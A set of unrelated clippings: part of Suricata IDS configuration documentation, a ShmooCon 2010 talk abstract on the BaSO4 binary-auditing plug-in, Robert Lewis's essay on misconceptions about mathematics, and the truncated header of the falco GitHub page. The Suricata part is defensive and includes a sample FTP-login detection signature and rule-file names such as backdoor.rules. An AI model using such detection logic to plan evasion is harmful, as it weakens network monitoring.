    default-log-format: "[%i] %t - (%f:%l) <%d> (%n) -- "
    
[/code]

The % followed by a character, has a special meaning. There are eight
specified signs:

[code]

    t:      Time, timestamp, time and date
                example: 15/10/2010 - -11:40:07
    p:      Process ID. Suricata's whole processing consists of multiple threads.
    i:      Thread ID. ID of individual threads.
    m:      Thread module name. (Outputs, Detect etc.)
    d:      Log-level of specific log-event. (Error, info, debug etc.)
    f:      Filename. Name of C-file (source code) where log-event is generated.
    l:      Line-number within the filename, where the log-event is generated in the source-code.
    n:      Function-name in the C-code (source code).
    
    The last three, f, l and n are mainly convenient for developers.
    
    
    
[/code]

The log-format can be overridden in the command line by the environment
variable: SC\_LOG\_FORMAT

**Output-filter**

Within logging you can set an output-filter. With this output-filter you can
set which part of the event-logs should be displayed. You can supply a regular
expression \(Regex\). A line will be shown if the regex matches.

[code]

    default-output-filter:         In this option the regular expression can be entered.
    
    
    
[/code]

This value is overridden by the environment var: SC\_LOG\_OP\_FILTER

**Outputs**

There are different ways of displaying output. The output can appear directly
on your screen, in can be placed in a file or via syslog. The last mentioned
is an advanced tool for log-management. The tool can be used to direct log-
output to different locations \(files, other computers etc.\)

[code]

    outputs: 
      - console:                                    Output on your screen.
          enabled: yes                              This option is enabled.
      - file:                                       Output stored in a file.
          enabled: no                               This option is not enabled.
          filename: /var/log/suricata.log           Filename and location on disc.
      - syslog:                                     This is a program to direct log-output to several directions.
          enabled: no                               The use of this program is not enabled.
          facility: local5                          In this option you can set a syslog facility. 
          format: "[%i] <%d> -- "                   The option to set your own format.
    
    
[/code]

**Pf-ring**

The Pf\_ring is a library that aims to improve packet capture performance over
libcap. It performs packet acquisition.  
There are three options within Pf\_ring: interface, cluster-id and cluster-
type.

[code]

    pfring:
      interface: eth0    # In this option you can set the network-interface 
                         # on which you want the packets of the network to be read.
    
    
[/code]

Pf\_ring will load balance packets based on flow. All packet acquisition
threads that will participate in the load balancing need to have the same
cluster-id. It is important to make sure this ID is unique for this cluster of
threads, so that no other engine / program is making use of clusters with the
same id.

[code]

    cluster-id: 99
    
    
[/code]

Pf\_ring can load balance traffic using pf\_ring-clusters. All traffic for
pf\_ring can be load balanced in one of two ways, in a round robin manner or a
per flow manner that are part of the same cluster. All traffic for pf\_ring
will be load balanced across acquisition threads of the same cluster id.  
The cluster\_round\_robin manner is a way of distributing packets one at a
time to each thread \(like distributing playing cards to fellow players\). The
cluster\_flow manner is a way of distributing all packets of the same flow to
the same thread. The flows itself will be distributed to the threads in a
round-robin manner.

[code]

    cluster-type: cluster_round_robin
    
[/code]

**Ipfw**

Suricata does not only support Linux, it supports the FreeBSD operating system
\(this is an open source Unix operating system\) and Mac OS X as well. The in-
line mode on FreeBSD uses ipfw \(IP-firewall\).  
Certain rules in ipfw send network-traffic to Suricata. Rules have numbers. In
this option you can set the rule to which the network-traffic will be placed
back. Make sure this rule comes after the one that sends the traffic to
Suricata, otherwise it will go around in circles.

The following tells the engine to re-inject packets back into the ipfw
firewall at rule number 5500:

[code]

    ipfw:  
                ipfw-reinjection-rule-number: 5500
    
[/code]

Example 8 Ipfw-reinjection.

**Rule-files**

For different categories of risk there are different rule-files available
containing one or more rules. There is a possibility to instruct Suricata
where to find these rules and which rules you want to be load for use.  
You can set the directory where the files can be found.

[code]

    default-rule-path: /etc/suricata/rules/  
            rule-files:  
                - backdoor.rules   
                - bad-traffic.rules   
                 - chat.rules   
                - ddos.rules   
                                       - …....
    
[/code]

The above mentioned is an example of rule-files of which can be chosen from.
There are much more rule-files available.

If wanted, you can set a full path for a specific rule or rule-file. In that
case, the above directory \(/etc/suricata/rules/\) will be ignored for that
specific file. This is convenient in case you write your own rules and want to
store them separate from other rules like that of VRT, ET or ET pro.

If you set a file-name that appears to be not existing, Suricata will ignore
that entry and display a error-message during the engine startup. It will
continue with the startup as usual.

**Classifications**

The Classification-file is a file which makes the purpose of rules clear.  
Some rules are just for providing information. Some of them are to warn you
for serious risks like when you are being hacked etc.  
In this classification-file, there is a part submitted to the rule to make it
possible for the system-administrator to distinguish events.  
A rule in this file exists of three parts: the short name, a description en
the priority of the rule \(in which 1 has the highest priority and 4 the
lowest\).  
You can notice these descriptions returning in the rule and events / alerts.

Example:

configuration classification: misc-activity,Misc activity,3

Rule:

alert tcp $HOME\_NET 21 -> $EXTERNAL\_NET any \(msg:"ET POLICY FTP Login
Successful \(non-anonymous\)"; flow:from\_server,established;
flowbits:isset,ET.ftp.user.login; flowbits:isnotset,ftp.user.logged\_in;
flowbits:set,ftp.user.logged\_in; content:"230 ";
pcre:\!"/^230\(\s+USER\)?\s+\(anonymous|ftp\)/smi"; classtype:misc-activity;
reference:urldoc.emergingthreats.net/2003410,;
reference:url,www.emergingthreats.net/cgi-
bin/cvsweb.cgi/sigs/POLICY/POLICY\_FTP\_Login; sid:2003410; rev:7;\)

Event/Alert:

10/26/10-10:13:42.904785 \[\*\*\] \[1:2003410:7\] ET POLICY FTP Login
Successful \(non-anonymous\) \[\*\*\] \[Classification: Misc activity\]
\[Priority: 3\] \{TCP\} 192.168.0.109:21 -> x.x.x.x:34117

You can set the direction of the classification configuration.

[code]

    classification-file: /etc/suricata/classification.config
    
[/code]

**Rule-vars**

There are variables which can be used in rules.  
Within rules, there is a possibility to set for which IP-address the rule
should be checked and for which IP-address it should not.  
This way, only relevant rules will be used. To prevent you from having to set
this rule by rule, there is an option in which you can set the relevant IP-
address for several rules. This option contains the address group vars that
will be passed in a rule. So, after HOME\_NET you can enter your home IP-
address.

Vars:  
address-groups:

[code]

    HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"     By using [], it is possible to set                                         complicated variables.  
       EXTERNAL_NET: any
    
[/code]

[code]

    HTTP_SERVERS: "$HOME_NET"                 The $-sign tells that what follows is                                         a variable.  
       SMTP_SERVERS: "$HOME_NET"
    
[/code]

[code]

    SQL_SERVERS: "$HOME_NET"
    
[/code]

[code]

    DNS_SERVERS: "$HOME_NET"
    
[/code]

[code]

    TELNET_SERVERS: "$HOME_NET"
    
[/code]

[code]

    AIM_SERVERS: any
    
[/code]

It is a convention to use upper-case characters.  
There are two kinds of variables: Address groups and Port-groups. They both
have the same function: change the rule so it will be relevant to your needs.  
In a rule there is a part assigned to the address and one to the port. Both
have their variable.  
All options have to be set. If it is not necessary to set a specific address,
you should enter 'any'.

port-groups:

[code]

    HTTP_PORTS: "80"
    
[/code]

[code]

    SHELLCODE_PORTS: "!80"
    
[/code]

[code]

    ORACLE_PORTS: 1521
    
[/code]

[code]

    SSH_PORTS: 22
    
[/code]

**Host-os-policy**

Operating systems differ in the way they process fragmented packets and
streams. Suricata performs differently with anomalies for different operating
systems. It is important to set of which operating system your IP-address
makes use of, so Suricata knows how to process fragmented packets and streams.
For example in stream-reassembly there can be packet with overlapping
payloads.

Example 9 Overlapping payloads

In the configuration-file, the operating-systems are listed. You can add your
IP-address behind the name of the operating system you make use of.

host-os-policy:  
windows: \[0.0.0.0/0\]  
bsd: \[\]  
bsd\_right: \[\]  
old\_linux: \[\]  
linux: \[10.0.0.0/8, 192.168.1.100,
"8762:2352:6241:7245:E000:0000:0000:0000"\]  
old\_solaris: \[\]  
solaris: \["::1"\]  
hpux10: \[\]  
hpux11: \[\]  
irix: \[\]  
macos: \[\]  
vista: \[\]  
windows2k3: \[\]

**Asn1\_max\_frames \(new in 1.0.3\)**

Asn1 \(Abstract Syntax One\) is a standard notation to structure and describe
data.  
Within Asn1\_max\_frames there are several frames. To protect itself, Suricata
will inspect a maximum of 256. You can set this amount differently if wanted.  
Application layer protocols such as X.400 electronic mail, X.500 and LDAP
directory services, H.323 \(VoIP\), BACnet and SNMP, use ASN.1 to describe the
protocol data units \(PDUs\) they exchange. It is also extensively used in the
Access and Non-Access Strata of UMTS
\(seehttp://en.wikipedia.org/wiki/Abstract\_Syntax\_Notation\_One\).

Limit for the maximum number of asn1 frames to decode \(default 256\):

[code]

    asn1_max_frames: 256
    
[/code]

**Configure Libhtp**

The library Libhtp is being used by Suricata to parse HTTP-sessions.  
While processing HTTP-traffic, Suricata has to deal with different kind of
servers which each process anomalies in HTTP-traffic differently. The most
common web-server is Apache. This is a open source web -server program.  
Beside Apache, IIS \(Internet Information Services/Server\)a web-server
program of Microsoft is also well-known.  
Like with host-os-policy, it is important for Suricata to which IP-
address/network-address is used by which server. In Libhtp this assigning of
web-servers to IP-and network addresses is called personality.

Currently Available Personalities:  
Minimal  
Generic  
IDS \(default\)  
IIS\_4\_0  
IIS\_5\_0  
IIS\_5\_1  
IIS\_6\_0  
IIS\_7\_0  
IIS\_7\_5  
Apache  
Apache\_2\_2

You can assign names to each block of settings. Which in this case is -apache
and -iis7. Under these names you can set IP-addresses, network-addresses and
the personality.  
The version-specific personalities know exactly how web servers behave, and
emulate that. The IDS personality \(will be GENERIC in the future\) would try
to implement a best-effort approach that would work reasonably well in the
cases where you do not know the specifics.  
The default configuration also applies to every IP-address for which no
specific setting is available.

[code]

    libhtp:
    
[/code]

[code]

    default-config:   
         personality: IDS
    
[/code]

[code]

    server-config: 
    
[/code]

[code]

    - apache:   
             address: [192.168.1.0/24, 127.0.0.0/8, "::1"]   
             personality: Apache_2_2
    
[/code]

[code]

    - iis7:   
             address:   
               - 192.168.0.0/24   
               - 192.168.10.0/24   
             personality: IIS_7_0
    
[/code]

**Rule Profiling settings**

Rule profiling is a part of Suricata to determine how expensive rules are.
Some rules are very expensive while inspecting traffic. Rule profiling is
convenient for people trying to track performance problems and resolving them.
Also for people writing signatures.  
Compiling Suricata with rule-profiling will have an impact on performance,
even if the option is disabled in the configuration file.  
To observe the rule-performance, there are several options.

[code]

    profiling:   
         rules:   
         enabled: yes
    
[/code]

This engine is not used by default. It can only be used if Suricata is
compiled with:

[code]

    -- enable-profiling
    
[/code]

At the end of each session, Suricata will display the profiling statistics.
The list will be displayed sorted.  
This order can be changed as pleased. The choice is between ticks, avgticks,
checks, maxticks and matches. The setting of your choice will be displayed
from high to low.

The amount of time it takes to check the signatures, will be administrated by
Suricata. This will be counted in ticks. One tick is one CPU computation. 3
GHz will be 3 billion ticks.  
Beside the amount of checks, ticks and matches it will also display the
average and the maximum of a rule per session at the end of the line.

The option Limit determines the amount of signatures of which the statistics
will be shown, based on the sorting.

[code]

    sort: avgticks  
        limit: 100
    
[/code]

Example of how the rule statistics can look like;  

[code]

    Rule            Ticks            %     Checks         Matches           Max Tick         Avg
    Ticks
    
    7560            107766621       0.02    138             37              105155334       780917.54
    11963           1605394413      0.29    2623             1              144418923       612045.14
    7040            1431034011      0.26    2500             0              106018209       572413.60
    5726            1437574662      0.26    2623             1              115632900       548065.06
    7037            1355312799      0.24    2562             0              116048286       529005.78
    11964           1276449255      0.23    2623             1              96412347        486637.15
    7042            1272562974      0.23    2623             1              96405993        485155.54
    5719            1233969192      0.22    2562             0              106439661       481642.93
    5720            1204053246      0.21    2562             0              125155431       469966.14
    
[/code]

# ShmooCon 2010 - 2010 Presentations

**Created:**| _2/6/2010 2:13:48 PM_  
---|---  
**Updated:**| _2/6/2010 2:13:56 PM_  
**Author:**| __  
**Tags:**| _bookmark conference-material_  
  

### BaSO4: A Dynamic Dataflow Analysis Tool for Auditing and Reversing

Dion Blazakis

The complexity of modern applications makes binary auditing a long slow march
without a significant investment in tools and techniques. BaSO4 is a new IDA
plug-in that highlights the instructions responsible for processing and
propogating the information stored at a given input range. Using dynamic
dataflow analysis based on a captured execution trace, BaSO4 can compute, for
example, the instructions, memory locations, and registers used to process the
string table in a Flash SWF file. This information can be used to target
manual audits and assist in reverse engineering. The analysis is computed for
each byte of the tainted input and is linked to the abstract syntax of the
input files. The IDA plug-in switches between various levels of abstract
syntax and dynamically updates the highlighted code regions. The Tamarin VM
\(Adobe's open source AVM2 bytecode engine\) is used as a case study to
illustrate the strengths and weaknesses of BaSO4.

Dion has been breaking software since 1994, playing with debug.com and Ralf
Brown's Interrupt List. Somewhere along the way, he took a more respectable
path and ended up as a software developer. He has been writing code for
embedded devices for the last 8 years. When not securing pay-per-view porn for
his current employer, he spends his time decompiling SNES games, bug hunting,
and automating his bug hunting techniques. His relevant interests include
compilers, operating systems, programming languages and interpreters.

# What Math?

**Created:**| _12/27/2010 8:40:20 AM_  
---|---  
**Updated:**| _12/27/2010 8:40:29 AM_  
**Author:**| __  
**Tags:**| __  
  
  
Mathematics  

The Most Misunderstood Subject

  
© Dr. Robert H. Lewis  
Professor of Mathematics, Fordham University

  

For more than two thousand years, mathematics has been a part of the human
search for understanding. Mathematical discoveries have come both from the
attempt to describe the natural world and from the desire to arrive at a form
of inescapable truth from careful reasoning. These remain fruitful and
important motivations for mathematical thinking, but in the last century
mathematics has been successfully applied to many other aspects of the human
world: voting trends in politics, the dating of ancient artifacts, the
analysis of automobile traffic patterns, and long-term strategies for the
sustainable harvest of deciduous forests, to mention a few. Today, mathematics
as a mode of thought and expression is more valuable than ever before.
Learning to think in mathematical terms is an essential part of becoming a
liberally educated person.  
\-- Kenyon College Math Department Web Page

  

"An essential part of becoming a liberally educated person?" Sadly, many
people in America, indeed, I would have to say very many people in America,
would find that a difficult and puzzling concept. The majority of educated
Americans do not think of Mathematics when they think of a liberal education.
Mathematics as essential for science, yes, for business and accounting, sure,
but for a liberal education?  

* * *
Why do so many people have such misconceptions about Mathematics?

  

The great misconception about mathematics -- and it stifles and thwarts more
students than any other single thing -- is the notion that mathematics is
about formulas and cranking out computations. It is the unconsciously held
delusion that mathematics is a set of rules and formulas that have been worked
out by God knows who for God knows why, and the student's duty is to memorize
all this stuff. Such students seem to feel that sometime in the future their
boss will walk into the office and demand "Quick, what's the quadratic
formula?" Or, "Hurry, I need to know the derivative of 3x^2 - 6x +1." There
are no such employers.

  
What is mathematics really like?

  
Mathematics is not about answers, it's about processes. Let me give a series
of parables to try to get to the root of the misconceptions and to try to
illuminate what mathematics IS all about. None of these analogies is perfect,
but all provide insight.

  

* * *
Scaffolding.

  
When a new building is made, a skeleton of steel struts called the scaffolding
is put up first. The workers walk on the scaffolding and use it to hold
equipment as they begin the real task of constructing the building. The
scaffolding has no use by itself. It would be absurd to just build the
scaffolding and then walk away, thinking that something of value has been
accomplished.  
  
Yet this is what seems to occur in all too many mathematics classes in high
schools. Students learn formulas and how to plug into them. They learn
mechanical techniques for solving certain equations or taking derivatives. But
all of these things are just the scaffolding. They are necessary and useful,
sure, but by themselves they are useless. Doing only the superficial and then
thinking that something important has happened is like building only the
scaffolding.  
  
The real "building" in the mathematics sense is the true mathematical
understanding, the true ability to think, perceive, and analyze
mathematically.

  

* * *
Ready for the big play.

  

Professional athletes spend hours in gyms working out on equipment of all
sorts. Special trainers are hired to advise them on workout schedules. They
spend hours running on treadmills. Why do they do that? Are they learning
skills necessary for playing their sport, say basketball?  
  
Imagine there're three seconds left in the seventh game of the NBA
championship. The score is tied. Time out. The pressure is intense. The coach
is huddling with his star players. He says to one, "OK Michael, this is it.
You know what to do." And Michael says, "Right coach. Bring in my treadmill\!"  
  
Duh\! Of course not\! But then what was all that treadmill time for? If the
treadmill is not seen during the actual game, was it just a waste to use it?
Were all those trainers wasting their time? Of course not. It produced \(if it
was done right\!\) something of value, namely stamina and aerobic capacity.
Those capacities are of enormous value even if they cannot be seen in any
immediate sense. So too does mathematics education produce something of value,
true mental capacity and the ability to think.

  

* * *
The hostile party goer.

  

When I was in first grade we read a series of books about Dick and Jane. There
were a lot of sentences like "see Dick run" and so forth. Dick and Jane also
had a dog called Spot.  
  
What does that have to do with mathematics education? Well, when I
occasionally meet people at parties who learn that I am a mathematician and
professor, they sometimes show a bit of repressed hostility. One man once said
something to me like, "You know, I had to memorize the quadratic formula in
school and I've never once done anything with it. I've since forgotten it.
What a waste. Have YOU ever had to use it aside from teaching it?"  
  
I was tempted to say, "No, of course not. So what?" Actually though, as a
mathematician and computer programmer I do use it, but rarely. Nonetheless the
best answer is indeed, "No, of course not. So what?" and that is not a cynical
answer.  
  
After all, if I had been the man's first grade teacher, would he have said,
"You know, I can't remember anymore what the name of Dick and Jane's dog was.
I've never used the fact that their names were Dick and Jane. Therefore you
wasted my time when I was six years old."  
  
How absurd\! Of course people would never say that. Why? Because they
understand intuitively that the details of the story were not the point. The
point was to learn to read\! Learning to read opens vast new vistas of
understanding and leads to all sorts of other competencies. The same thing is
true of mathematics. Had the man's mathematics education been a good one he
would have seen intuitively what the real point of it all was.

  

* * *
The considerate piano teacher.

  

Imagine a piano teacher who gets the bright idea that she will make learning
the piano "simpler" by plugging up the student's ears with cotton. The student
can hear nothing. No distractions that way\! The poor student sits down in
front of the piano and is told to press certain keys in a certain order. There
is endless memorizing of "notes" A, B, C, etc. The student has to memorize
strange symbols on paper and rules of writing them. And all the while the
students hear nothing\! No music\! The teacher thinks she is doing the student
a favor by eliminating the unnecessary distraction of the sound\!  
  
Of course the above scenario is preposterous. Such "instruction" would be
torture. No teacher would ever dream of such a thing, of removing the heart
and soul of the whole experience, of removing the music. And yet that is
exactly what has happened in most high school mathematics classes over the
last 25 years. For whatever misguided reason, mathematics students have been
deprived of the heart and soul of the course and been left with a torturous
outer shell. The prime example is the gutting of geometry courses, where
proofs have been removed or deemphasized. Apparently some teachers think that
this is "doing the students a favor." Or is it that many teachers do not
really understand the mathematics at all?  

* * *
  
Step high.

  

A long time ago when I was in graduate school, the physical fitness craze was
starting. A doctor named Cooper wrote a book on Aerobics in which he outlined
programs one could follow to build up aerobic capacity, and therefore
cardiovascular health. You could do it via running, walking, swimming, stair
climbing, or stationary running. In each case, he outlined a week by week
schedule. The goal was to work up to what he called 30 "points" per weeks of
exercise during a twelve week program.  
  
Since it was winter and I lived in a snowy place, I decided to do stationary
running. I built a foam padded platform to jog in place. Day after day I would
follow the schedule, jogging in place while watching television. I dreamed of
the spring when I would joyfully demonstrate my new health by running a mile
in 8 minutes, which was said to be equivalent to 30-points-per-week
cardiovascular health.  
  
The great day came. I started running at what I thought was a moderate pace.
But within a minute I was feeling winded\! The other people with me started
getting far ahead. I tried to keep up, but soon I was panting, gasping for
breath. I had to give up after half a mile\! I was crushed. What could have
gone wrong? I cursed that darn Dr. Cooper and his book.  
  
I eventually figured it out. In the description of stationary running, it said
that every part of one's foot must be lifted a certain distance from the
floor, maybe it was 10 inches. In all those weeks, I never really paid
attention to that. Someone then checked me, and I wasn't even close to 10
inches. No wonder it had failed\! I was so discouraged, it was years before I
tried exercising again.  
  
What does that have to do with mathematics education? Unfortunately a great
deal. In the absence of a real test \(for me, actually running on a track\) it
is easy to think one is progressing if one follows well intentioned but
basically artificial guidelines. It is all too easy to slip in some way \(as I
did by not stepping high enough\) and be lulled into false confidence. Then
when the real test finally comes, and the illusion of competence is painfully
shattered, it is all too easy to feel betrayed or to "blame the messenger."  
  
The "real test" I am speaking of is not just what happens to so many high
school graduates when they meet freshman mathematics courses. It is that we in
the U. S. are falling farther and farther behind most other countries in the
world, not just the well known ones like China, India, and Japan. The bar must
be raised, yes, but not in artificial ways, in true, authenic ones.  

* * *
Cargo cult education.

  
During World War II in the Pacific Ocean American forces hopped from island to
island relentlessly pushing westward toward Japan. Many of these islands in
the south Pacific were inhabited by people who had never seen Westerners;
maybe their ancestors years before had left legends of large wooden ships. We
can only imagine their surprise and shock when large naval vessels arrived and
troops set up communication bases and runways. Airplanes and those who flew
them seemed like gods. It seemed to the natives that the men in the radio
buildings, with their microphones, radios and large antennas, had the power to
call in the gods. All of the things brought by the navy, radios, buildings,
food, weapons, furniture, etc. were collectively referred to as "cargo".  
  
Then suddenly the war ended and the Westerners left. No more ships. No more
airplanes. All that was left were some abandoned buildings and rusting
furniture. But a curious thing happened. The natives on some islands figured
that they, too, could call in the gods. They would simply do what the
Americans had done. They entered the abandoned buildings, erected a large
bamboo pole to be the "antenna", found some old boxes to be the "radio", used
a coconut shell to be the "microphone." They spoke into the "microphone" and
implored the airplanes to land. But of course nothing came. \(except,
eventually, some anthropologists\!\) The practice came to be known as a "Cargo
Cult."  
  
The story may seem sad, amusing, or pathetic, but what does that have to do
with mathematics education? Unfortunately a great deal. The south Pacific
natives were unable to discern between the superficial outer appearence of
what was happening and the deeper reality. They had no understanding that
there even exists such a thing as electricity, much less radio waves or
aerodynamic theory. They imitated what they saw, and they saw only the
superficial.  
  
Sadly, the same thing has happened in far too many high schools in the United
States in the last twenty five years or so in mathematics education. Well
meaning "educators" who have no conception of the true nature of mathematics
see only its outer shell and imitate it. The result is cargo cult mathematics.
They call for the gods, but nothing happens. The cure is not louder calling,
it is not more bamboo antennas \(i.e. glossy ten pound text books and fancy
calculators\). The only cure is genuine understanding of authenic mathematics.  

Confusion of Education with Training.

  

Training is what you do when you learn to operate a lathe or fill out a tax
form. It means you learn how to use or operate some kind of machine or system
that was produced by people in order to accomplish specific tasks. People
often go to training institutes to become certified to operate a machine or
perform certain skills. Then they can get jobs that directly involve those
specific skills.  
  
Education is very different. Education is not about any particular machine,
system, skill, or job. Education is both broader and deeper than training. An
education is a deep, complex, and organic representation of reality in the
student's mind. It is an image of reality made of concepts, not facts.
Concepts that relate to each other, reinforce each other, and illuminate each
other. Yet the education is more even than that because it is organic: it will
live, evolve, and adapt throughout life.  
  
Education is built up with facts, as a house is with stones. But a collection
of facts is no more an education than a heap of stones is a house.  
  
An educated guess is an accurate conclusion that educated people can often
"jump to" by synthesizing and extrapolating from their knowledge base. People
who are good at the game "Jeopardy" do it all the time when they come up with
the right question by piecing together little clues in the answer. But there
is no such thing as a "trained guess."  
  
No subject is more essential nor can contribute more to becoming a liberally
educated person than mathematics. Become a math major and find out\!  

So What Good Is It?

  
Some people may understand all that I've said above but still feel a bit
uneasy. After all, there are bills to pay. If mathematics is as I've described
it, then perhaps it is no more helpful in establishing a career then, say,
philosophy.  
  
Here we mathematicians have the best of both worlds, as there are many careers
that open up to people who have studied mathematics. Real Mathematics, the
kind I discussed above. See the Careers web page for a sampling.  
  
That brings up one more misconception and one more parable, which I call:  
  

* * *
  
Computers, mathematics, and the chagrinned diner.

  
About nineteen years ago when personal computers were becoming more common in
small businesses and private homes, I was having lunch with a few people, and
it came up that I was a mathematician. One of the other diners got a funny
sort of embarrassed look on her face. I steeled myself for that all too common
remark, "Oh I was never any good at math." But no, that wasn't it. It turned
out that she was thinking that with computers becoming so accurate, fast, and
common, there was no longer any need for mathematicians\! She was feeling
sorry me, as I would soon be unemployed\! Apparently she thought that a
mathematician's work was to crank out arithmetic computations.  
  
Nothing could be farther from the truth. Thinking that computers will obviate
the need for mathematicians is like thinking 80 years ago when cars replaced
horse drawn wagons, there would be no more need for careful drivers. On the
contrary, powerful engines made careful drivers more important than ever.  
  
Today, powerful computers and good software make it possible to use and
concretely implement abstract mathematical ideas that have existed for many
years. For example, the RSA cryptosystem is widely used on secure internet web
pages to encode sensitive information, like credit card numbers. It is based
on ideas in algebraic number theory, and its invulnerability to hackers is the
result of very advanced ideas in that field.

  

* * *
  
Finally, here are a few quotes from an essay well worth reading by David R.
Garcia on a similar topic:

  
Americans like technology but seldom have a grasp of the science behind it.
And the mathematics that is behind the science is regarded as even more
mysterious, like an inner sanctum into which only initiates may gain entry.
They see the rich and nourishing technological fruit on this tree of
knowledge, but they see no deeper than the surface branches and twigs on which
these fruits grow. To them, the region behind this exterior of the tree, where
the trunk and limbs grow, is pointless and purposeless. "What's the use of
math?" is the common query. "I'll never use it." When a nation's leaders are
composed primarily of lawyers, administrators, military men and stars of the
entertainment industry rather than statesmen, philosophers, the spiritual, and
the men and women of science, then it should be no surprise that there is so
little grasp of the simple reality that one cannot dispense with the trunk and
limbs and still continue to enjoy the fruit.  
  
..... What is it that would cause us to focus only on this external fruit of
material development and play down the antecedent realms of abstraction that
lie deeper? It would be good to find a word less condemning than
"superficiality", but how else can this tendency be described in a word?
Perhaps facing up to the ugly side of this word can stir us into action to
remedy what seems to be an extremely grave crisis in Western education.  
  
.... The first step toward \[progress in crucial social problems\] is to
recognize the deceptive illusions bred by seeing only the surface of issues,
of seeing only a myriad of small areas to be dealt with by specialists, one
for each area. Piecemeal superficiality won't work.  
  
... Teaching is not a matter of pouring knowledge from one mind into another
as one pours water from one glass into another. It is more like one candle
igniting another. Each candle burns with its own fuel. The true teacher
awakens a love for truth and beauty in the heart--not the mind--of a student
after which the student moves forward with powerful interest under the gentle
guidance of the teacher. \(Isn't it interesting how the mention of these two
most important goals of learning--truth and beauty--now evokes snickers and
ridicule, almost as if by instinct, from those who shrink from all that is not
superficial.\) These kinds of teachers will inspire love of mathematics, while
so many at present diffuse a distaste for it through their own ignorance and
clear lack of delight in a very delightful subject.  
  
Key phrases: Mathematics education, improving mathematics education, improving
math education, high school math education, misconceptions about mathematics  
  

<img src='img/Temp2_9426.png' />  
---  
Please visit the web designer online guide.  
Dr. Lewis has a web page here.

Dr. Lewis's computer algebra software can be found here.

# falcosecurity/falco

**Created:**| _1/2/2019 6:42:48 PM_  
---|---  
**Updated:**| _1/2/2019 6:42:48 PM_  
**Author:**| __  
**Tags:**| __  
  

  

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-eye v-align-text-bottom js-evernote-checked' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true' data-evernote-id='11'%3e%3cpath fill-rule='evenodd' d='M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z' data-evernote-id='586' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Watch You must be signed in to watch a repository 86 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-star v-align-text-bottom js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='12'%3e%3cpath fill-rule='evenodd' d='M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z' data-evernote-id='588' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Star You must be signed in to star a repository 1,182 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-repo-forked v-align-text-bottom js-evernote-checked' viewBox='0 0 10 16' version='1.1' width='10' height='16' aria-hidden='true' data-evernote-id='13'%3e%3cpath fill-rule='evenodd' d='M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='590' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Fork You must be signed in to fork a repository 114 

#  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-repo js-evernote-checked' viewBox='0 0 12 16'
version='1.1' width='12' height='16' aria-hidden='true' data-evernote-
id='14'%3e%3cpath fill-rule='evenodd' d='M4
9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1
1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1
1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z' data-evernote-id='591' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> falcosecurity/**falco**

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-code js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='15'%3e%3cpath fill-rule='evenodd' d='M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14
8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z' data-evernote-id='595'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Code <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-issue-opened js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='16'%3e%3cpath fill-rule='evenodd' d='M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0
8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z' data-evernote-
id='599' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Issues 51
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-git-pull-request js-evernote-checked' viewBox='0 0 12
16' version='1.1' width='12' height='16' aria-hidden='true' data-evernote-
id='17'%3e%3cpath fill-rule='evenodd' d='M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
